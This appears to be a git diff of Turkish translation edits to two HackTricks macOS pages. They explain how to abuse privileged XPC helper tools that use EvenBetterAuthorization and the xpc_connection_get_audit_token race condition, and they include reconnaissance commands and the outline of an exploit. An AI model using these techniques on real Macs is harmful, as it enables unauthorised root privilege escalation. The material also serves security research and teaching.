+Bir uygulamanın **yetkili bir kullanıcı olarak işlemleri yürütmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için uygulamadan çağrılabilen bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
### ShouldAcceptNewConnection her zaman YES
-Bir örnek [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) içinde bulunabilir. `App/AppDelegate.m` dosyasında **HelperTool**'a **bağlanmaya** çalışır. Ve `HelperTool/HelperTool.m` dosyasında **`shouldAcceptNewConnection`** işlevi önceden belirtilen gereksinimleri kontrol etmeyecek. Her zaman YES döndürecektir:
+Bir örnek [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) içinde bulunabilir. `App/AppDelegate.m` dosyasında **HelperTool'a bağlanmaya** çalışır. Ve `HelperTool/HelperTool.m` dosyasında **`shouldAcceptNewConnection`** işlevi önceden belirtilen gereksinimleri kontrol etmeyecek. Her zaman YES döndürecektir:
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
}];
}
```
-`enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevidir:
+`enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevdir:
```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
-Bu, işlem sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Her bir yöntem için** bulabileceğiniz şeylere dikkat edin ki **kimlik doğrulaması gerektirecek**, **izin adı** ve **`kCommandKeyAuthRightDefault`**. Sonuncusu **bu hakkı kimin alabileceğini belirtir**.
+Bu, işlem sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Her bir yöntem için** bu **kimlik doğrulaması gerektiren** **izin adı** ve **`kCommandKeyAuthRightDefault`** bulabileceğiniz yerlere dikkat edin. Sonuncusu **bu hakkı kimin alabileceğini belirtir**.
-Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bunlardan bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle:
+Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle:
-Ad Değer Açıklama kAuthorizationRuleClassAllow allow Herkes kAuthorizationRuleClassDeny deny Hiç kimse kAuthorizationRuleIsAdmin is-admin Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde) kAuthorizationRuleAuthenticateAsSessionUser authenticate-session-owner Kullanıcıdan kimlik doğrulaması iste kAuthorizationRuleAuthenticateAsAdmin authenticate-admin Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde) kAuthorizationRightRule rule Kuralları belirt kAuthorizationComment comment Hakka ek açıklamalar belirt
+Ad Değer Açıklama kAuthorizationRuleClassAllow allow Herkes kAuthorizationRuleClassDeny deny Hiç kimse kAuthorizationRuleIsAdmin is-admin Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde) kAuthorizationRuleAuthenticateAsSessionUser authenticate-session-owner Kullanıcıdan kimlik doğrulaması iste kAuthorizationRuleAuthenticateAsAdmin authenticate-admin Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde) kAuthorizationRightRule rule Kuralları belirt kAuthorizationComment comment Haklarla ilgili ekstra yorumları belirt
-### Hak Doğrulama
+### Haklar Doğrulaması
-`HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**:
+`HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, **bu yöntemi yürütmeye yetkili olup olmadığını** kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**:
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@@ -242,11 +242,11 @@ return error;
```
Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne `commandInfo`'yu kontrol edecektir. Daha sonra, işlevi çağırmak için hakları olup olmadığını kontrol etmek için `AuthorizationCopyRights` çağrılacaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin).
-Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault` `@kAuthorizationRuleClassAllow` olarak tanımlanmıştır. Bu yüzden **herkes onu çağırabilir**.
+Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault`'ın `@kAuthorizationRuleClassAllow` olarak tanımlandığı belirtilmiştir. Bu yüzden **herkes onu çağırabilir**.
### DB Bilgisi
-Bu bilginin `/var/db/auth.db` içinde depolandığı belirtildi. Tüm depolanan kuralları listeleyebilirsiniz:
+Bu bilginin `/var/db/auth.db` içinde depolandığı belirtilmiştir. Tüm depolanan kuralları listeleyebilirsiniz:
```sql
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
@@ -262,7 +262,7 @@ security authorizationdb read com.apple.safaridriver.allow
1. **'authenticate-user': 'false'**
* Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmez.
-* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle birlikte kullanılır.
+* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle **kullanılır**.
2. **'allow-root': 'true'**
* Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı bu hakkı muhtemelen daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir.
3. **'session-owner': 'true'**
@@ -279,17 +279,17 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
```
-## Yetkilendirme Geri Mühendisliği
+## Yetkilendirme Tersine Çevirme
-### EvenBetterAuthorization Kullanılıp Kullanılmadığını Kontrol Etme
+### EvenBetterAuthorization'ın Kullanılıp Kullanılmadığını Kontrol Etme
Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen işlem önceden bahsedilen yetkilendirme şemasını kullanıyor:
-
+
Bu fonksiyon, `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanıyor demektir.
-Bazı ayrıcalıklı eylemleri kullanıcı etkileşimi olmadan çağırma izinlerini almak mümkün olup olmadığını görmek için **`/var/db/auth.db`** dosyasını kontrol edin.
+Kullanıcı etkileşimi olmadan bazı ayrıcalıklı işlemleri çağırmak için izin alınabilir mi diye görmek için **`/var/db/auth.db`**'yi kontrol edin.
### Protokol İletişimi
@@ -297,11 +297,11 @@ Daha sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulm
**`shouldAcceptNewConnection`** fonksiyonu dışa aktarılan protokolü gösterir:
-
+
-Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeyi bulduk, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
+Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeye sahibiz, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
-Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkün olacaktır**:
+Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkündür**:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@@ -315,7 +315,7 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@end
[...]
```
-Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır:
+Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz gerekiyor. Bunun için birkaç yol bulunmaktadır:
* **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yer:
@@ -339,9 +339,9 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
Bu örnekte şunlar oluşturulmuştur:
* Fonksiyonlarla protokolün tanımı
-* Erişim istemek için kullanılacak boş bir kimlik doğrulaması
+* Erişim istemek için kullanılacak boş bir yetkilendirme
* XPC servisine bağlantı
-* Bağlantı başarılıysa fonksiyonu çağırma
+* Bağlantı başarılıysa fonksiyonun çağrılması
```objectivec
// gcc -framework Foundation -framework Security expl.m -o expl
@@ -425,14 +425,14 @@ NSLog(@"Finished!");
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
index 2e1935ec1..a4097dcf6 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
@@ -8,23 +8,23 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
**Daha fazla bilgi için orijinal yazıya bakın:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet:
-## Mach Mesajları Temel Bilgiler
+## Mach Mesajları Temel Bilgileri
-Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye başlayın:
+Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfaya bakmaya başlayın:
{% content-ref url="../../../../mac-os-architecture/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
-Şu anda ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
+Şu anda hatırlamanız gereken şey ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach mesajları, mach çekirdeğine yerleştirilmiş **tek alıcı, çok gönderen iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem**, bir mach porta mesaj gönderebilir, ancak herhangi bir anda **yalnızca bir işlem** onu okuyabilir. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca bir tamsayı görür, bu tamsayıyı kullanarak hangi mach portlarının kullanılacağını çekirdeğe belirtebilirler.
## XPC Bağlantısı
@@ -37,58 +37,58 @@ Bir XPC bağlantısının nasıl kurulduğunu bilmiyorsanız kontrol edin:
## Zafiyet Özeti
-Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknoloji üzerine kurulmuştur, bu nedenle:**
+Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknolojiye dayanır, bu nedenle:**
-* Mach portları tek alıcı, **çoklu gönderen**'dir.
-* Bir XPC bağlantısının denetim belgesi, **en son alınan mesajdan kopyalanır**.
-* Bir XPC bağlantısının **denetim belgesini elde etmek**, birçok **güvenlik denetimleri** için kritiktir.
+* Mach portları tek alıcı, **çoklu gönderici**dir.
+* Bir XPC bağlantısının denetim belirteci, **en son alınan mesajdan kopyalanır**.
+* Bir XPC bağlantısının **denetim belirtisi**ni elde etmek, birçok **güvenlik denetimi** için kritiktir.
Önceki durum umut verici görünse de, bu duruma neden olmayacak bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
-* Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimlerde zafiyet yoktur** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvende olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**.
-* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi başka normal (yanıt olmayan!) mesajlar tarafından üzerine yazılamaz**.
+* Denetim belirteçleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimler savunmasız değildir** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belirtecinin güvenli olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**.
+* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belirteci diğer normal (yanıt dışı!) mesajlar tarafından üzerine yazılamaz**.
-Bu, bu durumun nasıl sorunlara yol açmayacağını açıklayan iki farklı yöntemdir:
+Bu, sömürülebilecek iki farklı yöntemdir:
1. Varyant1:
-* **Saldırı**, hizmet **A** ve hizmet **B**'ye bağlanır.
-* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir.
-* Hizmet **A**, bir **`dispatch_async`** içinde olmadığı sırada **`xpc_connection_get_audit_token`**'ı çağırır.
-* Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiği için **Denetim Belgesi üzerine yazılabilir**.
-* Saldırı, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**.
+* **Sömürü**, hizmet **A** ve hizmet **B'ye bağlanır**
+* Hizmet **B**, kullanıcının yapamayacağı bir **özel işlevi** hizmet **A'da** çağırabilir
+* Hizmet **A**, bir **`dispatch_async`** içinde olmadan **`xpc_connection_get_audit_token`** çağırırken **denetim belirteci**ni alır.
+* Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiği için **Denetim Belirteci üzerine yazılabilir**.
+* Sömürü, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**.
* Bu nedenle svc **B**, mesajları aslında hizmet **A'ya gönderir**.
-* **Saldırı**, **ayrıcalıklı eylemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazdı** (saldırının ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar).
+* **Sömürü**, **özel eylemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belirtecini üzerine yazdı** (sömürünün özel eylemi çağırma erişimine sahip olmasını sağlar).
2. Varyant 2:
-* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir.
-* Saldırı, **hizmet A** ile bağlantı kurar ve hizmet **A'dan belirli bir yanıt bekleyen bir mesajı** belirli bir **yanıt** **portuna** gönderir.
-* Saldırı, **hizmet** B'ye **bu yanıt portunu** geçiren bir mesaj gönderir.
-* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken** **saldırı**, ayrıcalıklı bir işleme ulaşmaya çalışan farklı bir **mesajı hizmet A'ya gönderir** ve hizmet B'den gelen yanıtın Denetim belgesini mükemmel anda üzerine yazmasını bekler (Yarış Koşulu).
+* Hizmet **B**, kullanıcının yapamayacağı bir **özel işlevi** hizmet **A'da** çağırabilir
+* Sömürü, **hizmet A'ya bağlanır** ve hizmetten belirli bir **yanıt bekleyen bir mesaj** gönderir.
+* Sömürü, **hizmet** B'ye **bu yanıt bağlantısını** geçen bir mesaj gönderir.
+* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken**, **sömürü** hizmet **A'ya farklı bir mesaj göndererek** özel bir işlevi **ulaşmaya çalışır** ve hizmet B'den gelen yanıtın Denetim belirtecini mükemmel anında üzerine yazmasını bekler (Yarış Koşulu).
## Varyant 1: xpc\_connection\_get\_audit\_token'ın olay işleyicisi dışında çağrılması
Senaryo:
* Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (kum havuzu profili ve bağlantıyı kabul etmeden önce yetkilendirme denetimlerine dayalı).
-* _**A**_'nın, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** olmalı (ancak uygulamamız yapamaz).
-* Örneğin, B bazı **ayrıcalıklara** sahipse veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylem gerçekleştirmesini istemesine izin verebilir.
-* Bu yetkilendirme denetimi için, **`A`**, örneğin `dispatch_async`'den **xpc_connection_get_audit_token**'ı çağırarak denetim belgesini asenkron olarak alır.
+* _**A**_, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** olmalı (ancak uygulamamız yapamaz).
+* Örneğin, B bazı **ayrıcalıklara** sahipse veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylemi gerçekleştirmesine izin verebilir.
+* Bu yetkilendirme denetimi için **`A`**, örneğin `dispatch_async`'den **xpc_connection_get_audit_token** çağırarak denetim belirteci alır.
{% hint style="danger" %}
-Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir saldırı** yaparak **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belgesi** bellekte **kopyalanırken**, saldırımızın **A tarafından işlenirken** **erişimi sadece B'nin isteyebileceği ayrıcalıklı eyleme** sahip olur.
+Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir sömürü** oluşturabilirken **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belirteci** hafızada **kopyalanırken**, **sömürünün** isteği **A tarafından işlenirken**, ayrıcalıklı eyleme **yalnızca B'nin isteyebileceği erişim verilir**.
{% endhint %}
-Bu, **`A`**'nın `smd` ve **`B`**'nin `diagnosticd` olarak olduğu bir durumdu. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. Eğer **root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir denetim yapılmaz.
+Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. **Root** olarak çalışan bir işlem **smd'ye** ulaştığında, başka hiçbir denetim yapılmaz.
-Bu nedenle, hizmet **B**, **root** olarak çalıştığı için **diagnosticd**'dir ve bir işlemi izlemek için kullanılabilir, bu nedenle izleme başladığında saniyede **çoklu mesaj gönderir.**
+Bu nedenle hizmet **B**, **root** olarak çalıştığından ve bir işlemi **izlemek** için kullanılabileceğinden, izleme başladığında saniyede **çoklu mesaj gönderecektir.**
Saldırıyı gerçekleştirmek için:
1. Standart XPC protokolünü kullanarak `smd` adlı hizmete bir **bağlantı** başlatın.
2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach port oluşturmak ve göndermek yerine, istemci portu gönderme hakkı, `smd` bağlantısıyla ilişkilendirilen **gönderme hakkının bir kopyası ile değiştirilir**.
-3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd`'ye yönlendirilir. `smd` için, hem kullanıcıdan hem de `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir.
+3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd'ye` yönlendirilir. `smd` için, kullanıcı ve `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir.
-![Saldırı sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
-4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (potansiyel olarak kullanıcının kendi sürecini) izlemesini talimat vermek içerir. Aynı anda, rutin 1004 mesajlarının `smd`'ye gönderilmesi sağlanır. Buradaki amaç, ayrıcalıklı izinlere sahip bir aracı yüklemektir.
+![Sömürü sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
+4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (muhtemelen kullanıcının kendi sürecini) izlemesini talimatlandırmayı içerir. Aynı anda, rutin 1004 mesajlarının `smd`'ye gönderilmesi sağlanır. Buradaki amaç, ayrıcalıklı izinlere sahip bir aracı yüklemektir.
5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır.
## Varyant 2: yanıt yönlendirme
@@ -98,7 +98,7 @@ XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı ola
1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenmiş bir sıra üzerinde alınır ve işlenir.
2. **`xpc_connection_send_message_with_reply_sync`**: Buna karşılık, bu yöntemde XPC mesajı mevcut dağıtım sırasında alınır ve işlenir.
-Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasını önlemek için kilit uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur.
+Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasına karşı koruma sağlamak için kilit mekanizması uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur.
Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir:
@@ -110,26 +110,26 @@ Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir:
Sömürü süreci aşağıdaki adımları içerir:
1. Hizmet **`A`**'nın yanıt bekleyen bir mesaj göndermesini bekleyin.
-2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`** hizmetine bir mesaj göndermek için kullanılır.
-3. Ardından, yasaklanan işlemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir.
